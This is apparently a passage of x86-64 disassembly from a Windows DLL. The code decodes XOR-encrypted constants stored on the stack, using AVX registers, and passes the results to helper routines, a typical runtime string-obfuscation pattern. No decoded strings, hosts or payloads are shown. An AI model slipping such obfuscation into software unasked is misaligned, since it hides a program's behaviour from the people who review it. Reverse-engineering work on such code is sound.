mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xce08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xce10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xce18], rax
vmovdqu ymm0, ymmword [rbp + 0xce00]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d60]
vmovdqa ymmword [rbp + 0x1d60], ymm1
lea rdx, [rbp + 0x1d60]
lea rcx, [rbp + 0x4a50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4a70]
lea rcx, [rbp + 0x80f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4a50]
lea rcx, [rbp + 0x80d0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9d00]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x23f], al
mov byte [rbp + 0x240], al
movabs rax, 0xfc2975facde946be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27a0], rax
movabs rax, 0x3ae7f1c57e371885
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27a8], rax
movabs rax, 0x906ec4447d18bf25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27b0], rax
movabs rax, 0x9b2aff00927919e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27b8], rax
movabs rsi, 0x3baf30ed0152cd11
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x27c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x27c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb6c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb6c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb6d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb6d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb6e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb6e8], rax
vmovdqu ymm0, ymmword [rbp + 0xb6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x27a0]
vmovdqa ymmword [rbp + 0x27a0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x27c0]
vpxor xmm2, xmm2, xmmword [rbp + 0xb6e0]
vmovdqa xmmword [rbp + 0x27c0], xmm2
lea rdx, [rbp + 0x27a0]
lea rcx, [rbp + 0x4a30]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x241], al
mov byte [rbp + 0x242], al
movabs rax, 0xfc4c4fc0d7e946be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d80], rax
movabs rax, 0x70ebc1fe642b4587
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xce20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xce28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xce30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xce38], rax
vmovdqu ymm0, ymmword [rbp + 0xce20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1d80]
vmovdqa ymmword [rbp + 0x1d80], ymm1
lea rdx, [rbp + 0x1d80]
lea rcx, [rbp + 0x4a10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4a30]
lea rcx, [rbp + 0x80b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4a10]
lea rcx, [rbp + 0x8090]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9d40]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x243], al
mov byte [rbp + 0x244], al
movabs rbx, 0xe1185ffdcdd718be
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1da0], rax
movabs rax, 0x3b98cbd068337c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1da8], rax
movabs rax, 0xfb38a9272c41dd25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1db0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1db8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xce40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xce48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xce50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xce58], rax
vmovdqu ymm0, ymmword [rbp + 0xce40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1da0]
vmovdqa ymmword [rbp + 0x1da0], ymm1
lea rdx, [rbp + 0x1da0]
lea rcx, [rbp + 0x49f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x245], al
mov byte [rbp + 0x246], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1dc0], rax
movabs rax, 0x37a6cbd068337c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1dc8], rax
movabs rsi, 0xfb38a9272c48be25
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1dd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1dd8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xce60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xce68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xce70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xce78], rax
vmovdqu ymm0, ymmword [rbp + 0xce60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1dc0]
vmovdqa ymmword [rbp + 0x1dc0], ymm1
lea rdx, [rbp + 0x1dc0]
lea rcx, [rbp + 0x49d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x49f0]
lea rcx, [rbp + 0x8070]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x49d0]
lea rcx, [rbp + 0x8050]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9d80]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x247], al
mov byte [rbp + 0x248], al
movabs rax, 0xe12640fcd3c332be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1de0], rax
movabs rax, 0x7de3f1c56b5c6c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1de8], rax
movabs rax, 0xc605f8456732e10b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1df0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1df8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xce80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xce88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xce90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xce98], rax
vmovdqu ymm0, ymmword [rbp + 0xce80]
vpxor ymm1, ymm0, ymmword [rbp + 0x1de0]
vmovdqa ymmword [rbp + 0x1de0], ymm1
lea rdx, [rbp + 0x1de0]
lea rcx, [rbp + 0x49b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x249], al
mov byte [rbp + 0x24a], al
movabs rax, 0xe1362bfbc8fd18b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e00], rax
movabs rax, 0x3b98c8fd67344584
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e08], rax
movabs r13, 0xfb38a9272c41eb25
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1e18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcec0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcec8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xced0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xced8], rax
vmovdqu ymm0, ymmword [rbp + 0xcec0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e00]
vmovdqa ymmword [rbp + 0x1e00], ymm1
lea rdx, [rbp + 0x1e00]
lea rcx, [rbp + 0x4990]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x49b0]
lea rcx, [rbp + 0x8030]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4990]
lea rcx, [rbp + 0x8010]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9dc0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x24b], al
mov byte [rbp + 0x24c], al
movabs rax, 0xfc2975facde946be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e20], rax
movabs rax, 0x25b294c5622773bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e28], rax
movabs rax, 0x8d76c46b6b2adb25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e30], rax
movabs rax, 0xa617ae62d90a25ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcee0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcee8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcef0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcef8], rax
vmovdqu ymm0, ymmword [rbp + 0xcee0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e20]
vmovdqa ymmword [rbp + 0x1e20], ymm1
lea rdx, [rbp + 0x1e20]
lea rcx, [rbp + 0x4970]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x24d], al
mov byte [rbp + 0x24e], al
movabs rax, 0xe1182ac0cbf92d87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e40], rax
movabs rax, 0x37a6cbd068337c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e48], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1e50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1e58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcf00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcf08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcf10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcf18], rax
vmovdqu ymm0, ymmword [rbp + 0xcf00]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e40]
vmovdqa ymmword [rbp + 0x1e40], ymm1
lea rdx, [rbp + 0x1e40]
lea rcx, [rbp + 0x4950]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4970]
lea rcx, [rbp + 0x7ff0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4950]
lea rcx, [rbp + 0x7fd0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9e00]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x24f], al
mov byte [rbp + 0x250], al
movabs rbx, 0xf0452ac0c1d73287
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1e60], rax
movabs rax, 0x70e694fe785068bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1e78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcf20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcf28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcf30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcf38], rax
vmovdqu ymm0, ymmword [rbp + 0xcf20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e60]
vmovdqa ymmword [rbp + 0x1e60], ymm1
lea rdx, [rbp + 0x1e60]
lea rcx, [rbp + 0x4930]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x251], al
mov byte [rbp + 0x252], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1e80], rax
movabs rax, 0x38ef94ff635068bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1e98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcf40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcf48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcf50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcf58], rax
vmovdqu ymm0, ymmword [rbp + 0xcf40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e80]
vmovdqa ymmword [rbp + 0x1e80], ymm1
lea rdx, [rbp + 0x1e80]
lea rcx, [rbp + 0x4910]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4930]
lea rcx, [rbp + 0x7fb0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4910]
lea rcx, [rbp + 0x7f90]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9e40]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x253], al
mov byte [rbp + 0x254], al
movabs rbx, 0xe52e50fdcbdf3db9
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ea0], rax
movabs rax, 0x70e694fe78504285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ea8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1eb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1eb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcf60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcf68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcf70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcf78], rax
vmovdqu ymm0, ymmword [rbp + 0xcf60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ea0]
vmovdqa ymmword [rbp + 0x1ea0], ymm1
lea rdx, [rbp + 0x1ea0]
lea rcx, [rbp + 0x48f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x255], al
mov byte [rbp + 0x256], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ec0], rax
movabs rax, 0x38ef94ff63504285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ec8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1ed0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1ed8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcf80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcf88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcf90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcf98], rax
vmovdqu ymm0, ymmword [rbp + 0xcf80]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ec0]
vmovdqa ymmword [rbp + 0x1ec0], ymm1
lea rdx, [rbp + 0x1ec0]
lea rcx, [rbp + 0x48d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x48f0]
lea rcx, [rbp + 0x7f70]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x48d0]
lea rcx, [rbp + 0x7f50]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9e80]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x257], al
mov byte [rbp + 0x258], al
movabs rax, 0xb44c2afbd18e36b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb080], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb088], rax
movdqa xmm0, xmmword [rbp + 0x370]
pxor xmm0, xmmword [rbp + 0xb080]
movdqa xmmword [rbp + 0x370], xmm0
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x48b0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x259], al
mov byte [rbp + 0x25a], al
movabs rax, 0xb9102afd8bd336b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ee0], rax
movabs rax, 0x3ce3f5d76b336c82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ee8], rax
movabs rax, 0xfb38a9276445be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ef0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1ef8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcfa0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcfa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcfb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcfb8], rax
vmovdqu ymm0, ymmword [rbp + 0xcfa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ee0]
vmovdqa ymmword [rbp + 0x1ee0], ymm1
lea rdx, [rbp + 0x1ee0]
lea rcx, [rbp + 0x4890]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x48b0]
lea rcx, [rbp + 0x7f30]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4890]
lea rcx, [rbp + 0x7f10]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9ec0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x25b], al
mov byte [rbp + 0x25c], al
movabs rbx, 0xe6325ffad38e47be
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f00], rax
movabs rax, 0x39ef94c5673473bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1f10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1f18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcfc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcfc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcfd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xcfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f00]
vmovdqa ymmword [rbp + 0x1f00], ymm1
lea rdx, [rbp + 0x1f00]
lea rcx, [rbp + 0x4870]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x25d], al
mov byte [rbp + 0x25e], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f20], rax
movabs rax, 0x3b98c8fd673473bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1f30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1f38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcfe0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcfe8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcff0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcff8], rax
vmovdqu ymm0, ymmword [rbp + 0xcfe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f20]
vmovdqa ymmword [rbp + 0x1f20], ymm1
lea rdx, [rbp + 0x1f20]
lea rcx, [rbp + 0x4850]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4870]
lea rcx, [rbp + 0x7ef0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4850]
lea rcx, [rbp + 0x7ed0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9f00]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x25f], al
mov byte [rbp + 0x13e], al
movabs rax, 0xe7494bc3ccfd18b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x4dd6a69c2f585cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb070], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb078], rax
movdqa xmm0, xmmword [rbp + 0x380]
pxor xmm0, xmmword [rbp + 0xb070]
movdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x4830]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x260], al
mov byte [rbp + 0x261], al
movabs rax, 0xf8494bc3ccfd18b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs r13, 0x4dd6a69c675c1985
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb060], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb068], rax
movdqa xmm0, xmmword [rbp + 0x3a0]
pxor xmm0, xmmword [rbp + 0xb060]
movdqa xmmword [rbp + 0x3a0], xmm0
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x4810]
call fcn.180004520
nop
lea rdx, [rbp + 0x4830]
lea rcx, [rbp + 0x7eb0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4810]
lea rcx, [rbp + 0x7e90]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9f40]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x262], al
mov byte [rbp + 0x263], al
movabs rax, 0xfa324fc3c1d718be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f40], rax
movabs rax, 0x27e3e5f867337c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f48], rax
movabs rax, 0xfb38a9272c4cbe25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1f58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd000], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd008], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd010], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd018], rax
vmovdqu ymm0, ymmword [rbp + 0xd000]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f40]
vmovdqa ymmword [rbp + 0x1f40], ymm1
lea rdx, [rbp + 0x1f40]
lea rcx, [rbp + 0x47f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x264], al
mov byte [rbp + 0x265], al
movabs rax, 0xf8494bc3c1d718be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb0f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb0f8], rax
movdqa xmm0, xmmword [rbp + 0x3b0]
pxor xmm0, xmmword [rbp + 0xb0f0]
movdqa xmmword [rbp + 0x3b0], xmm0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x47d0]
call fcn.180004520
nop
lea rdx, [rbp + 0x47f0]
lea rcx, [rbp + 0x7e70]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x47d0]
lea rcx, [rbp + 0x7e50]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9f80]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x266], al
mov byte [rbp + 0x267], al
movabs rbx, 0xfb455ffdc9d732b9
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f60], rax
movabs rax, 0x70ebf7fe642b46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1f70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1f78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd020], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd028], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd030], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd038], rax
vmovdqu ymm0, ymmword [rbp + 0xd020]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f60]
vmovdqa ymmword [rbp + 0x1f60], ymm1
lea rdx, [rbp + 0x1f60]
lea rcx, [rbp + 0x47b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x268], al
mov byte [rbp + 0x269], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f80], rax
movabs r13, 0x70e294fe681546aa
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1f88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1f90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1f98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd040], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd048], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd050], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd058], rax
vmovdqu ymm0, ymmword [rbp + 0xd040]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f80]
vmovdqa ymmword [rbp + 0x1f80], ymm1
lea rdx, [rbp + 0x1f80]
lea rcx, [rbp + 0x4790]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x47b0]
lea rcx, [rbp + 0x7e30]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4790]
lea rcx, [rbp + 0x7e10]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9fc0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x26a], al
mov byte [rbp + 0x26b], al
movabs rax, 0xfa3640c389ed18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1fa0], rax
movabs rax, 0x38bacbd0602b7cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1fa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1fb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1fb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd060], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd068], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd070], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd078], rax
vmovdqu ymm0, ymmword [rbp + 0xd060]
vpxor ymm1, ymm0, ymmword [rbp + 0x1fa0]
